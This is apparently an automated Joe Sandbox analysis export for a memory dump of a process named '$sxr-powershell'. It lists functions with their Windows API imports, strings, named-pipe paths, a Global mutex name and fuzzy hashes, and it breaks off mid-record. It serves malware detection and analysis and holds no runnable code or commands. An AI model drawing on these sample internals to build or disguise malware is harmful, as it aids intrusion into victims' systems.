API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction ID: b249911f766401b9d6ad8824cbb6525cc5d7bd24c6b49d6d7660475476209590
Opcode Fuzzy Hash: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction Fuzzy Hash: E6519A32611A03CAEB95DB15E464BB937A6F344B98F5589B4EF2647788DF34D842C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC71AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001F5FDC71AD8
StrCmpNIW.SHLWAPI ref: 000001F5FDC71AF2
lstrlenW.KERNEL32 ref: 000001F5FDC71B01
StrCpyW.SHLWAPI ref: 000001F5FDC71B16

Strings

\\?\, xrefs: 000001F5FDC71AE6

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction ID: 47b5d945d2cf1d5e4292b94fd69a8ffd7a6672e9230098f512e373bcd27623f9
Opcode Fuzzy Hash: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction Fuzzy Hash: BCF06872304E42D2E7609B11F8A47EA6762F784B88F849074DB5987564DF3CC68EC700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC73298 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001F5FDC732BA
StrCpyW.SHLWAPI ref: 000001F5FDC732CA
StrCatW.SHLWAPI ref: 000001F5FDC732D6
PathCombineW.SHLWAPI ref: 000001F5FDC732E4

Strings

\\.\pipe\, xrefs: 000001F5FDC732B0

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction ID: 4fab3068c6bb4072b269c040958d05a1e099d3f50f1111dd38f8a9c7c523b273
Opcode Fuzzy Hash: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction Fuzzy Hash: 49F08970304F4291EB505B53F9255BA9256A748FD0F089170DF6647765CE2CC4438304

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7A1D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001F5FDC7A1F4
GetProcAddress.KERNEL32 ref: 000001F5FDC7A20A
FreeLibrary.KERNEL32 ref: 000001F5FDC7A227

Strings

mscoree.dll, xrefs: 000001F5FDC7A1EB
CorExitProcess, xrefs: 000001F5FDC7A203

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction ID: 6723c76907707e339a9684eac4b30a4a56327c1ca06275dfafc04998bf3ee722
Opcode Fuzzy Hash: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction Fuzzy Hash: B8F08271711F42D1EF459B60F4A4BFA2362AB48B90F082479DB2FC6560DF38C48AC700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC75250 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F5FDC752D6

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction ID: 744ef6f497fd8405ff9858d340a3b72f33ca1e03ccb8b7fa1144c56ebb9be689
Opcode Fuzzy Hash: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction Fuzzy Hash: 5302FA32219B85C6EBA1CB55F4A07AAB7A1F3C4784F104565EB9E87BA8DF7CC445CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC80900 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001F5FDC80942
GetConsoleMode.KERNEL32 ref: 000001F5FDC80A00
GetLastError.KERNEL32 ref: 000001F5FDC80A8A

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction ID: 6000016924cf19ea5109459f6aac7719f654d2eac069c0b39c897a396384037b
Opcode Fuzzy Hash: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction Fuzzy Hash: 6981CC32610E1289FB50AB648860BFF67A7F744B98F4646B6DF2A577D2DB348443E310

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC75890 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F5FDC758A6

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction ID: 62fd3c229e29ec2417cbfea20ed0baf9b9a767ef0999405223d770e804cc6077
Opcode Fuzzy Hash: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction Fuzzy Hash: 2561FC32529F85CAE7A19B15E4A07BA77A1F388754F200675EB9D43BA8DB7CC446CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC51358 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F5FDC51380
_set_statfp.LIBCMT ref: 000001F5FDC5139B
_set_statfp.LIBCMT ref: 000001F5FDC513B7
_set_statfp.LIBCMT ref: 000001F5FDC513F3

Memory Dump Source

Source File: 00000013.00000002.3430519783.000001F5FDC40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F5FDC40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc40000_$sxr-powershell.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 88f6a7501effd57d50b0f0fc07d99e030d46684a884c53ee9c67471fc1201102
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: A3115633A54F0341F765126AD4BD3F93143AB55BF4F1847B4AB760AFDE8A2988434200

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC81F58 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F5FDC81F80
_set_statfp.LIBCMT ref: 000001F5FDC81F9B
_set_statfp.LIBCMT ref: 000001F5FDC81FB7
_set_statfp.LIBCMT ref: 000001F5FDC81FF3

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 195c26971b10306001efdd9e2caf3432ea9da77d39e62c8bde7a933e82ba4775
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: A2117333A54E1702F7A81169D47ABFB11C36B64B74F1846B4FB770A7D68B288883C200

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC796F8 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F5FDC79717
SetLastError.KERNEL32 ref: 000001F5FDC7979E

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: afeb0ab3ae9b140264ba62f65efacef86e232e555d1866a57a7faeca2321756a
Instruction ID: ae687ebe9b7db7c57d485a29b9b886607673626e560236d711cb8731276b1cdd
Opcode Fuzzy Hash: afeb0ab3ae9b140264ba62f65efacef86e232e555d1866a57a7faeca2321756a
Instruction Fuzzy Hash: 93112434601E43C6FF949B269860BF62293A784BB0F284EB4DB39477D5DF28C8438B00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC73910 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F5FDC73923
GetCurrentProcess.KERNEL32 ref: 000001F5FDC73956
VirtualProtectEx.KERNEL32 ref: 000001F5FDC73976
GetCurrentProcess.KERNEL32 ref: 000001F5FDC7398F
VirtualProtectEx.KERNEL32 ref: 000001F5FDC739B0

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction ID: f012099b8acd9de1001e618a508d66905eb48f52fbb4ec8e9c9187f1f084aa86
Opcode Fuzzy Hash: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction Fuzzy Hash: 11116A36604F82C3EB64AB22E4546AAA7B1F745B80F084576DBAC43794EF3DC94AC740

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC48595 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F5FDC485A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F5FDC48638

Strings

f, xrefs: 000001F5FDC485B6
csm, xrefs: 000001F5FDC4861E

Memory Dump Source

Source File: 00000013.00000002.3430519783.000001F5FDC40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F5FDC40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc40000_$sxr-powershell.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction ID: ce6312046cc802fa1638db7ee19a912dd50a0709fc0cc1da018c36e5fabc8ba0
Opcode Fuzzy Hash: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction Fuzzy Hash: C451AD36612A028AEB54DB15E424BF93796FB42B98F5081B4EB2647788EB74D8429B04

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC48578 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F5FDC485A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F5FDC48638

Strings

f, xrefs: 000001F5FDC485B6
csm, xrefs: 000001F5FDC4861E

Memory Dump Source

Source File: 00000013.00000002.3430519783.000001F5FDC40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F5FDC40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc40000_$sxr-powershell.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction ID: 293814c8414646a5d1427f1170682cc441ffd9d3b0459a410c71df9ab95c8609
Opcode Fuzzy Hash: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction Fuzzy Hash: D331BF32201F4296E754DF12E868BF937A6FB42BD8F558064AF6607788CB38C942CB04

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC72744 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F5FDC72828
StrCpyW.SHLWAPI ref: 000001F5FDC72841

Strings

\\.\pipe\, xrefs: 000001F5FDC72833

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction ID: a9f8a1e91d62cc21e93c12710dde671e8f516a6c52fa450c04c5fb2ac5526037
Opcode Fuzzy Hash: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction Fuzzy Hash: 1371AE32600F82C2E7A49A26D9653FEA796F785BC4F480876DF6943B99DE35C6038740

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC72530 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F5FDC72617
StrCpyW.SHLWAPI ref: 000001F5FDC7262E

Strings

\\.\pipe\, xrefs: 000001F5FDC72622

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction ID: 0853425cd067868826294d34b970cc42c260a4f4cdcd95d40282204e5e68a82a
Opcode Fuzzy Hash: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction Fuzzy Hash: 7C51C532204BC3C2EBB59A69A1747FAA793F785780F140976DFA503B99DA35C5028B40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC806A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001F5FDC807BB
GetLastError.KERNEL32 ref: 000001F5FDC807DD

Strings

U, xrefs: 000001F5FDC80767

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction ID: 96d810b94d064c87c67fbc3da134fc0c1c4ffc0eb83f397d34c6bf192460272e
Opcode Fuzzy Hash: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction Fuzzy Hash: B441D332714E8592EB209F25E8547EA77A2F388B94F554131EF5E87788DB3CC442DB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC72A08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 000001F5FDC72A5D
CloseHandle.KERNEL32 ref: 000001F5FDC72A6B

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 000001F5FDC72A4D

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction ID: 25a74541080eafd7a9330cf02dbcd35a84147bb4a6b7d1984ccf588ff375ed7a
Opcode Fuzzy Hash: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction Fuzzy Hash: E421B236A04F4292EBB0DB16A8607BAB396F794BA0F254475DFA943754EF34C487C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC72AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 000001F5FDC72B49
CloseHandle.KERNEL32 ref: 000001F5FDC72B57

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 000001F5FDC72B39

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction ID: 562618aa7883cd082c43bd52e2ae7e37aed485c2d46f25089b7071d0b548434d
Opcode Fuzzy Hash: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction Fuzzy Hash: 96217F32700B52C6EBA1DF16B860BAAB3A6F788B44F4444B5DFAA83754EF34C4478740

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7D760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001F5FDC7D799
LCMapStringW.KERNEL32 ref: 000001F5FDC7D821

Strings

LCMapStringEx, xrefs: 000001F5FDC7D77C, 000001F5FDC7D78D

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction ID: 0d007a8cd0e22e45df07b9f821e925819e2e4d0a61a055a0ed9739d13fd82984
Opcode Fuzzy Hash: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction Fuzzy Hash: BA110836608B81C6D760CB16F4506EAB7A6F7C9B90F544126EF9D83B19DF38C5428B40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC79544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001F5FDC79588
RaiseException.KERNEL32 ref: 000001F5FDC795CE

Strings

csm, xrefs: 000001F5FDC795BB

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction ID: 07bb81dd0229802c5e0b8deacdeeb9a5a994034402def73e0d55cd926585fadb
Opcode Fuzzy Hash: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction Fuzzy Hash: 17111F32614F4182EB918F25E4506AABBE6F788B94F184661DF9D07764DF39C552C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7D6FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001F5FDC7D72D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000001F5FDC7D747

Strings

InitializeCriticalSectionEx, xrefs: 000001F5FDC7D721

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction ID: 44443c04ffccbaa36e03058359307d2981676a92abc7f4cb0100d6e7ca33087d
Opcode Fuzzy Hash: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction Fuzzy Hash: A7F0E235304F41D1EB459B41F460AEA2263FB88B90F4851B2EB7903B19DF38C887C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7D6A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001F5FDC7D6D1
TlsSetValue.KERNEL32 ref: 000001F5FDC7D6E8

Strings

FlsSetValue, xrefs: 000001F5FDC7D6BE

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction ID: 9f41e21ba2dd951071d147ac1887eaa5f2816e0b68735324138a42238aa5b57e
Opcode Fuzzy Hash: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction Fuzzy Hash: 95E09271204E43D2EB455B55F820BFA2223BB88B80F4895B6DB3907365EE38C857C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC71D60 Relevance: 5.1, APIs: 4, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F5FDC71D95
HeapAlloc.KERNEL32 ref: 000001F5FDC71DA4
GetProcessHeap.KERNEL32 ref: 000001F5FDC71E18
HeapFree.KERNEL32 ref: 000001F5FDC71E26

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction ID: 20633ee71f7fb08b150d792c946d1424cff66b40a7b8f4429150e31046863af7
Opcode Fuzzy Hash: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction Fuzzy Hash: E1218E33605F91C1EB519F5AE4142EAB3A2FB88FD4F585425DF9D87B24EA78C4438740

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC71274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F5FDC7127A
HeapAlloc.KERNEL32 ref: 000001F5FDC71289
GetProcessHeap.KERNEL32 ref: 000001F5FDC712A3
HeapAlloc.KERNEL32 ref: 000001F5FDC712B4

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
